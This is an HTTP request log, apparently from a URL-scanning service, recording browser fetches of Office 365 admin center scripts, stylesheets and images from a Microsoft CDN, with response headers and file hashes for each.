x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (24942), with no line terminators
Size:   7064
Md5:    2b6367f94d76f0889f21a846d2d95d4c
Sha1:   dbb31e73dbe8d3cd773541cc474648a2c59d59d3
Sha256: f89f4edab7dda87ae1957e31b636e286ccf622884e0ff4b6cfcdfc0d9594c09c
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/webcontrols/js/peoplepicker.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/javascript
                                        
last-modified: Tue, 06 Sep 2022 19:01:08 GMT
x-ms-request-id: 7f3151e2-301e-005a-58df-c29970000000
content-encoding: gzip
content-length: 3087
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (11639), with no line terminators
Size:   3087
Md5:    3a6ead2e06cb13d684e4aaf8c74050d7
Sha1:   33a9baabb74929f31308c5de6734a92a4aaf12fd
Sha256: d2bb834b5c12e2f755e8aa721eccde36e0df9529b0d033a681100951d2feb9bb
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/webcontrols/js/productkeycontrol.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/javascript
                                        
last-modified: Tue, 06 Sep 2022 19:01:10 GMT
x-ms-request-id: ec5d479c-201e-001b-2fdf-c2c194000000
content-encoding: gzip
content-length: 2648
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (6181), with no line terminators
Size:   2648
Md5:    3869112c80fee862546da324dac85c9f
Sha1:   2bf9315ddfbdba6d2af3f64329685872fd6314cc
Sha256: ce82b7cea0d4340ef2e876e32ca0ff8cbbc6c8d72e982508d65804b865336c69
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/webcontrols/js/gridview.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/javascript
                                        
last-modified: Tue, 06 Sep 2022 19:01:14 GMT
x-ms-request-id: eeb12e91-801e-0002-62df-c2412f000000
content-encoding: gzip
content-length: 2338
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (7808), with no line terminators
Size:   2338
Md5:    6853a2b4814f3cabf9037bcd3f2282b6
Sha1:   dafe915eeb4b62a6dc1180e279cbdc25ad926495
Sha256: 182d68e5c157d171431769dcf4ac68c11d7cf4c80cfb52910979c0cbc8f28208
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/js/passwordstrengthmeter.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/javascript
                                        
last-modified: Tue, 06 Sep 2022 19:01:13 GMT
x-ms-request-id: 1708271a-f01e-0008-30df-c2e598000000
content-encoding: gzip
content-length: 1027
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (3041), with no line terminators
Size:   1027
Md5:    20c92386f9d76429c298b944f4ba3b6a
Sha1:   aef889d764017a43d666a23d7948e2c8fe834841
Sha256: 661bfc2e2a3c9a85f2bf417d4df229d931478f235c04b4a7e7aec8af09abfeb8
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/jsc/hipcontrol.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/javascript
                                        
last-modified: Tue, 06 Sep 2022 18:45:37 GMT
x-ms-request-id: 26f6eec1-101e-005d-4adf-c2f513000000
content-encoding: gzip
content-length: 6853
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (38677), with no line terminators
Size:   6853
Md5:    17ed51af9c94151cd12b45535a882a50
Sha1:   f3c610c2eeed44b18cf8a9bca9a4e69f4ab06920
Sha256: fc11b463f7acd3c461c2f769f73eb701b663834fe6462054761a8ed7a3fc5412
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/webcontrols/js/geminiwizard.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/javascript
                                        
last-modified: Tue, 06 Sep 2022 19:01:11 GMT
x-ms-request-id: 6e826fce-101e-004d-47df-c2307b000000
content-encoding: gzip
content-length: 2158
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (9028), with no line terminators
Size:   2158
Md5:    ee9be75d598dcd9a530817d42c71679c
Sha1:   aa39089e4c5a3033e6ccdf7a19b757c49d647a49
Sha256: 24afe973894b6a5a8d64ec11178622ddbb3b950c9bcfffc5848059468af805f1
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/js/webuivalidation.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/javascript
                                        
last-modified: Tue, 06 Sep 2022 19:01:11 GMT
x-ms-request-id: 49871f11-101e-0010-18df-c23aff000000
content-encoding: gzip
content-length: 5468
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with CRLF line terminators
Size:   5468
Md5:    4c9b7930cdebe87f63356bb1919d5035
Sha1:   06554ae5b1e8bbb4233d35ee0b0993ed8efa5df9
Sha256: 9ef967235c6f3925243298c30d8f957088549a9bcea4b129591b54d21277d441
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/jsc/adminbootstrap.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/javascript
                                        
last-modified: Tue, 06 Sep 2022 18:45:56 GMT
x-ms-request-id: 5f66b386-501e-002e-67df-c2ad80000000
content-encoding: gzip
content-length: 116812
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (65536), with no line terminators
Size:   116812
Md5:    8316aedeb1d97d9a125ba21d4a78d691
Sha1:   2b28cb1494b5c4396eac58d33bdbd2ae9474f69d
Sha256: 5b7ee0f82892d187c5dcd22776d215018de1f3d861f0205a8f9741b987829dc4
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/jsc/adminapp.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/javascript
                                        
last-modified: Tue, 06 Sep 2022 18:46:12 GMT
x-ms-request-id: 0196d941-f01e-0045-10df-c22a74000000
content-encoding: gzip
content-length: 158078
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  HTML document, ASCII text, with very long lines (65536), with no line terminators
Size:   158078
Md5:    ce92e9b3dfb65ab41df04c8485040bcb
Sha1:   0fafeacf4dbdf5729d51de312b9750f494c57dd5
Sha256: 09ef9bcff5efb61112832466ad8663a74373522c5ae049887dfcc84a951ae0cb
                                        
                                            GET /Shell/Images/O365SharedClusteredImage.png HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 400 Bad Request
content-type: application/xml
                                        
content-length: 226
x-ms-request-id: 9597b347-101e-004d-1c59-c5307b000000
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   226
Md5:    9ffce010909d11a70fb012dce75f739b
Sha1:   5316899cd00b8e1931b3ed9f251ecedd644fc162
Sha256: e01c824832f38484b2cc4799fba0288a25f69a3ec49f1ef7ec7149338bcd5822
                                        
                                            GET /Shell/Images/header_bg_signup_office.jpg HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 400 Bad Request
content-type: application/xml
                                        
content-length: 226
x-ms-request-id: 8c7081e9-f01e-0037-2d59-c52d3b000000
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   226
Md5:    dd40a496f38051d98b6d44629174811a
Sha1:   70f4e41d611b3ec2dd9394000c0b6e8de712bcf1
Sha256: e3bb8be4a621da783cf8d5f29882de55ce85e04af51066b6239c6e6b5adfe606
                                        
                                            GET /Shell/Images/pagelayout_white_panel.jpg HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 400 Bad Request
content-type: application/xml
                                        
content-length: 226
x-ms-request-id: 4238cba2-401e-0022-0459-c53a88000000
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   226
Md5:    6fce8b7cf467837074f9116868fdb0ec
Sha1:   69509af1d53724c3d63536de1560532a96f402a9
Sha256: 8478c53d31a34e9e2bd1fed0c760e7b37c51e7cf3a9250d30649a6e3b010c3e8
                                        
                                            GET /Shell/Images/pagelayout_mos_background_right.jpg HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 400 Bad Request
content-type: application/xml
                                        
content-length: 226
x-ms-request-id: ac0d4b08-b01e-0044-7f59-c575a8000000
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   226
Md5:    ff36425274c2d4cb221e1a3b02ee4ef1
Sha1:   a636665d83893d441c289afa90470c49b1f8852a
Sha256: ab533ab081e92c5ea56799678947ec6bb6b9aaea5bdd9ede1124ba9d1a78a8d9
                                        
                                            GET /Shell/Images/pagelayout_mos_background_left.jpg HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 400 Bad Request
content-type: application/xml
                                        
content-length: 226
x-ms-request-id: af106151-501e-005c-4659-c5aacf000000
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   226
Md5:    b133461b637d987e23758c9b58024343
Sha1:   ecd0c1f7684bc4df5adb2947f413a51e294c9778
Sha256: b1957a0db9da74e2a8c818e8b5db5753f76ecd7d3033c199139992b547819de8
                                        
                                            GET /Shell/Images/pagelayout_nav_highlight.jpg HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 400 Bad Request
content-type: application/xml
                                        
content-length: 226
x-ms-request-id: a8a19abd-301e-0028-4959-c59e3f000000
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   226
Md5:    3119b4d02a0447ef1d23e563e17922e3
Sha1:   7574f5eca6010ad15ccaa283b11c421d18d70b3a
Sha256: ed5f3de66904c2581afff02e119523036e067c473da91600f2ffffcfc447ce91
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/css/o365themedefault.css HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: text/css
                                        
last-modified: Tue, 06 Sep 2022 19:00:58 GMT
x-ms-request-id: a280aed4-601e-0025-19df-c256eb000000
content-encoding: gzip
content-length: 1067
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (7600), with no line terminators
Size:   1067
Md5:    3bb9ec9208da595a2baa881e6886a407
Sha1:   12ea658a1b714581a721e6892eebdadb75272fb1
Sha256: eec6124d9eae29eb51baadf82d2d553bc0eaf1bc4b9923ae9c17ffce37414b91
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/css/masterstyles15.css HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: text/css
                                        
last-modified: Tue, 06 Sep 2022 18:59:52 GMT
x-ms-request-id: 5a631ca9-301e-0038-02ba-c25b57000000
content-encoding: gzip
content-length: 25650
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Unicode text, UTF-8 text, with very long lines (65272), with no line terminators
Size:   25650
Md5:    47f09d3cf7bddabb66e3f5997cdf6f17
Sha1:   fea8010059a5c2cfaef8feb7d2cd7492eb42654a
Sha256: 54ac76bc85a8c291f498a7d3e407a8878e4fffe16a0f36f14fb2b33642595ce7
                                        
                                            GET /Images/list_bullet_5x5.gif HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 400 Bad Request
content-type: application/xml
                                        
content-length: 226
x-ms-request-id: 9af57ec0-c01e-004e-7b59-c5d11f000000
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   226
Md5:    aa7b71923a55719dc71a9663739bcac9
Sha1:   7657146068d03434c80b9e9c6cb12f9ee91b150a
Sha256: 8a804b6beda4cddc91e4e142fba09e8b6cf170937e2bac04278a9e999366b5af
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/css/masterstyles15mvc.css HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: text/css
                                        
last-modified: Tue, 06 Sep 2022 18:59:54 GMT
x-ms-request-id: 49183c9b-b01e-0019-80ba-c27f2c000000
content-encoding: gzip
content-length: 3243
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (15800), with no line terminators
Size:   3243
Md5:    c0d47f3c6e18bde6f7574ba1c5344cdb
Sha1:   504148025f2f131cc7cbcd87db53032e04a0a67a
Sha256: 1bf632d32c8cb0c0e16611e416ddfb7b1b8b79b4907ad050e380f691dacea1a2
                                        
                                            GET /Shell/Images/header_wizard_hl_mos.jpg HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 400 Bad Request
content-type: application/xml
                                        
content-length: 226
x-ms-request-id: e7adb7eb-e01e-0049-3a59-c5bd7c000000
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   226
Md5:    43156a581d0eae89ab868fac9e87b06b
Sha1:   923faf9888fd6e5cff047439327870358f2dc90b
Sha256: 596f6fed4bc580e8464e2f9f7f4b7193419f04b1f4e0f1c4214ed8fe4e49dab4
                                        
                                            GET /Images/transparent.gif HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 400 Bad Request
content-type: application/xml
                                        
content-length: 226
x-ms-request-id: ec8eb85d-a01e-0015-6559-c5e824000000
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   226
Md5:    9ad945f5a5c1e8a19fee04ac5a1eb8e4
Sha1:   e48f6be4459c73ef38ed7114b2a6d260076b5e19
Sha256: 02c6b267da005662e40f7cd56e846eece99e224b86be759a98fd716a53ea5a9a
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/css/assistancepanel.css HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 404 Not Found
content-type: application/xml
                                        
content-length: 215
x-ms-request-id: b57fee31-a01e-0055-3d59-c5da4a000000
date: Sat, 10 Sep 2022 21:11:32 GMT
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  XML 1.0 document text\012- XML document, Unicode text, UTF-8 (with BOM) text
Size:   215
Md5:    c5b64ed55d881e610e85805f3244e49d
Sha1:   ec2f03954ca45648f74209a7ec4e4773397d6614
Sha256: f3894cbd163419557ee4d015bb70dcad9055d8a7df9b4171cd7c78aa04e07257
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/css/home.css HTTP/1.1 
Host: res.cdn.office.net
                                        
